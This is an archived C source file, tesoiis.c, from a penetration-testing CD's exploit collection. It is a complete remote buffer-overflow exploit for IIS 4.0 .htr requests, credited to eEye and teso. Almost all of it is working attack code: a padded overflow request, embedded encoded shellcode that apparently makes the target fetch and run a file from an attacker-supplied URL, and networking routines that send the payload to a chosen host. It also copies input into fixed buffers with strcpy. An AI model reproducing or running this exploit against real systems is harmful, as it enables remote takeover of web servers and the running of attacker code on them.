home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / tesoiis.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  316 lines

  1. /* iis 4.0 exploit
  2.  * by eeye security
  3.  *
  4.  * ported to unix/C by the teso crew.
  5.  *
  6.  * shoutouts to #hax and everyone else knowing us...
  7.  *  you know who you are.
  8.  *
  9.  * gcc -o tesoiis tesoiis.c -Wall
  10.  */
  11.  
  12. #include <sys/types.h>
  13. #include <sys/ioctl.h>
  14. #include <sys/socket.h>
  15. #include <sys/time.h>
  16. #include <arpa/inet.h>
  17. #include <netdb.h>
  18. #include <net/if.h>
  19. #include <netinet/in.h>
  20. #include <errno.h>
  21. #include <fcntl.h>
  22. #include <stdarg.h>
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <string.h>
  26. #include <unistd.h>
  27.  
  28. int    net_connect (struct sockaddr_in *cs, char *server,
  29.                  unsigned short int port, char *sourceip,
  30.                  unsigned short int sourceport, int sec);
  31.  
  32. void    net_write (int fd, const char *str, ...);
  33.  
  34. unsigned long int       net_resolve (char *host);
  35.  
  36. char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */
  37.  
  38. #define    URL_OFFSET    1055
  39.  
  40. char front[] = "GET /AAAAAAA"
  41.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  42.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  43.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  44.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  45.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  46.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  47.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  48.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  49.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  50.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  51.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  52.                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  53.                "\x41\x41\x41\x41\x41\x41\xb0\x87\x67\x68\xb0\x87"
  54.                "\x67\x68\x90\x90\x90\x90\x58\x58\x90\x33\xc0\x50"
  55.                "\x5b\x53\x59\x8b\xde\x66\xb8\x21\x02\x03\xd8\x32"
  56.                "\xc0\xd7\x2c\x21\x88\x03\x4b\x3c\xde\x75\xf4\x43"
  57.                "\x43\xba\xd0\x10\x67\x68\x52\x51\x53\xff\x12\x8b"
  58.                "\xf0\x8b\xf9\xfc\x59\xb1\x06\x90\x5a\x43\x32\xc0"
  59.                "\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43\x52\x51"
  60.                "\x53\x56\xb2\x54\xff\x12\xab\x59\x5a\xe2\xe6\x43"
  61.                "\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43"
  62.                "\x52\x53\xff\x12\x8b\xf0\x5a\x33\xc9\x50\x58\xb1"
  63.                "\x05\x43\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75"
  64.                "\xf4\x43\x52\x51\x53\x56\xb2\x54\xff\x12\xab\x59"
  65.                "\x5a\xe2\xe6\x33\xc0\x50\x40\x50\x40\x50\xff\x57"
  66.                "\xf4\x89\x47\xcc\x33\xc0\x50\x50\xb0\x02\x66\xab"
  67.                "\x58\xb4\x50\x66\xab\x58\xab\xab\xab\xb1\x21\x90"
  68.                "\x66\x83\xc3\x16\x8b\xf3\x43\x32\xc0\xd7\x3a\xc8"
  69.                "\x75\xf8\x32\xc0\x88\x03\x56\xff\x57\xec\x90\x66"
  70.                "\x83\xef\x10\x92\x8b\x52\x0c\x8b\x12\x8b\x12\x92"
  71.                "\x8b\xd7\x89\x42\x04\x52\x6a\x10\x52\xff\x77\xcc"
  72.                "\xff\x57\xf8\x5a\x66\x83\xee\x08\x56\x43\x8b\xf3"
  73.                "\xfc\xac\x84\xc0\x75\xfb\x41\x4e\xc7\x06\x8d\x8a"
  74.                "\x8d\x8a\x81\x36\x80\x80\x80\x80\x33\xc0\x50\x50"
  75.                "\x6a\x48\x53\xff\x77\xcc\xff\x57\xf0\x58\x5b\x8b"
  76.                "\xd0\x66\xb8\xff\x0f\x50\x52\x50\x52\xff\x57\xe8"
  77.                "\x8b\xf0\x58\x90\x90\x90\x90\x50\x53\xff\x57\xd4"
  78.                "\x8b\xe8\x33\xc0\x5a\x52\x50\x52\x56\xff\x77\xcc"
  79.                "\xff\x57\xec\x80\xfc\xff\x74\x0f\x50\x56\x55\xff"
  80.                "\x57\xd8\x80\xfc\xff\x74\x04\x85\xc0\x75\xdf\x55"
  81.                "\xff\x57\xdc\x33\xc0\x40\x50\x53\xff\x57\xe4\x90"
  82.                "\x90\x90\x90\xff\x6c\x66\x73\x6f\x66\x6d\x54\x53"
  83.                "\x21\x80\x8d\x84\x93\x86\x82\x95\x21\x80\x8d\x98"
  84.                "\x93\x8a\x95\x86\x21\x80\x8d\x84\x8d\x90\x94\x86"
  85.                "\x21\x80\x8d\x90\x91\x86\x8f\x21\x78\x8a\x8f\x66"
  86.                "\x99\x86\x84\x21\x68\x8d\x90\x83\x82\x8d\x62\x8d"
  87.                "\x8d\x90\x84\x21\x78\x74\x70\x64\x6c\x54\x53\x21"
  88.                "\x93\x86\x84\x97\x21\x94\x86\x8f\x85\x21\x94\x90"
  89.                "\x84\x8c\x86\x95\x21\x84\x90\x8f\x8f\x86\x84\x95"
  90.                "\x21\x88\x86\x95\x89\x90\x94\x95\x83\x9a\x8f\x82"
  91.                "\x8e\x86\x21\x90\x98\x8f\x4f\x86\x99\x86\x21"
  92.                /* stick it in here */
  93.                "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  94.                "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  95.                "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  96.                "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  97.                "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  98.                "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  99.                "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  100.                "\x21\x21\x21"
  101.                ".htr HTTP/1.0";
  102.  
  103. void
  104. usage (void)
  105. {
  106.   printf ("usage: ./tesoiis host port url\n");
  107.   exit (EXIT_FAILURE);
  108. }
  109.  
  110. int
  111. main (int argc, char *argv[])
  112. {
  113.   /* yadda,yadda.. you can try exploiting our exploit!!
  114.    * update: hmm.. is this exploitable? gets EIP touched by exit()?
  115.    * gotta check this later...
  116.    */
  117.  
  118.   char            host[256], url[256];
  119.   int            port,sd,t = 0;
  120.   int            m = 0;
  121.   char            *cc, *pfft;
  122.   struct sockaddr_in    cs;
  123.  
  124.   printf ("teso crew IIS exploit.. shellcode by eEye.\n");
  125.   printf ("------------------------------------------\n");
  126.   if (argc < 4)
  127.     usage();
  128.  
  129.   strcpy (host, argv[1]);
  130.   strcpy (url, argv[3]);
  131.  
  132.   port = atoi (argv[2]);
  133.   if ((port < 1) || (port > 65535))
  134.     usage();
  135.  
  136.   cc = url;
  137.   pfft = front + URL_OFFSET;
  138.  
  139.   while (*cc)
  140.     {
  141.       if (*cc == '/' && 0 == t)
  142.         {
  143.           memcpy (pfft, stuff, 6);
  144.           pfft += 6;
  145.           t = 1;
  146.         }
  147.       else
  148.         {
  149.           *pfft = *cc + 0x21;
  150.           pfft++;
  151.         }
  152.       cc++;
  153.       m += 1;
  154.     }
  155.  
  156.   printf ("Host: %s Port: %d Url: %s\n", host, port, url);
  157.  
  158.   printf ("Connecting... ");
  159.   fflush (stdout);
  160.   sd = net_connect (&cs, host, port, NULL, 0, 30);
  161.  
  162.   if (sd < 1)
  163.     {
  164.       printf ("failed!\n");
  165.       exit (EXIT_FAILURE);
  166.     }
  167.  
  168.   printf ("done.. sending shellcode..");
  169.   fflush (stdout);
  170.  
  171.   net_write (sd, "%s\n\n", front);
  172.  
  173.   printf ("done.. closing fd!\n");
  174.   close (sd);
  175.  
  176.   printf ("%s\n", front);
  177.  
  178.   exit (EXIT_SUCCESS);
  179. }
  180.  
  181. int
  182. net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
  183.              unsigned short int sourceport, int sec)
  184. {
  185.   int             n, len, error, flags;
  186.   int             fd;
  187.   struct timeval  tv;
  188.   fd_set          rset, wset;
  189.  
  190.   /* first allocate a socket */
  191.   cs->sin_family = AF_INET;
  192.   cs->sin_port = htons (port);
  193.  
  194.   fd = socket (cs->sin_family, SOCK_STREAM, 0);
  195.   if (fd == -1)
  196.     return (-1);
  197.  
  198.   if (!(cs->sin_addr.s_addr = net_resolve (server)))
  199.     {
  200.       close (fd);
  201.       return (-1);
  202.     }
  203.  
  204.   flags = fcntl (fd, F_GETFL, 0);
  205.   if (flags == -1)
  206.     {
  207.       close (fd);
  208.       return (-1);
  209.     }
  210.   n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
  211.   if (n == -1)
  212.     {
  213.       close (fd);
  214.       return (-1);
  215.     }
  216.  
  217.   error = 0;
  218.  
  219.   n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
  220.   if (n < 0)
  221.     {
  222.       if (errno != EINPROGRESS)
  223.         {
  224.           close (fd);
  225.           return (-1);
  226.         }
  227.     }
  228.   if (n == 0)
  229.     goto done;
  230.  
  231.   FD_ZERO(&rset);
  232.   FD_ZERO(&wset);
  233.   FD_SET(fd, &rset);
  234.   FD_SET(fd, &wset);
  235.   tv.tv_sec = sec;
  236.   tv.tv_usec = 0;
  237.  
  238.   n = select(fd + 1, &rset, &wset, NULL, &tv);
  239.   if (n == 0)
  240.     {
  241.       close(fd);
  242.       errno = ETIMEDOUT;
  243.       return (-1);
  244.     }
  245.   if (n == -1)
  246.     return (-1);
  247.  
  248.   if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset))
  249.     {
  250.       if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset))
  251.         {
  252.           len = sizeof(error);
  253.           if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0)
  254.             {
  255.               errno = ETIMEDOUT;
  256.               return (-1);
  257.             }
  258.           if (error == 0)
  259.             {
  260.               goto done;
  261.             }
  262.           else
  263.             {
  264.               errno = error;
  265.               return (-1);
  266.             }
  267.         }
  268.     }
  269.   else
  270.     return (-1);
  271.  
  272. done:
  273.   n = fcntl(fd, F_SETFL, flags);
  274.   if (n == -1)
  275.     return (-1);
  276.   return (fd);
  277. }
  278.  
  279. unsigned long int
  280. net_resolve (char *host)
  281. {
  282.   long            i;
  283.   struct hostent  *he;
  284.  
  285.   i = inet_addr(host);
  286.   if (i == -1)
  287.     {
  288.       he = gethostbyname(host);
  289.       if (he == NULL)
  290.         {
  291.           return (0);
  292.         }
  293.       else
  294.         {
  295.           return (*(unsigned long *) he->h_addr);
  296.         }
  297.     }
  298.   return (i);
  299. }
  300.  
  301. void
  302. net_write (int fd, const char *str, ...)
  303. {
  304.   char    tmp[8192];
  305.   va_list vl;
  306.   int     i;
  307.  
  308.   va_start(vl, str);
  309.   memset(tmp, 0, sizeof(tmp));
  310.   i = vsnprintf(tmp, sizeof(tmp), str, vl);
  311.   va_end(vl);
  312.  
  313.   send(fd, tmp, i, 0);
  314.   return;
  315. }
  316. /*                    www.hack.co.za              [2000]*/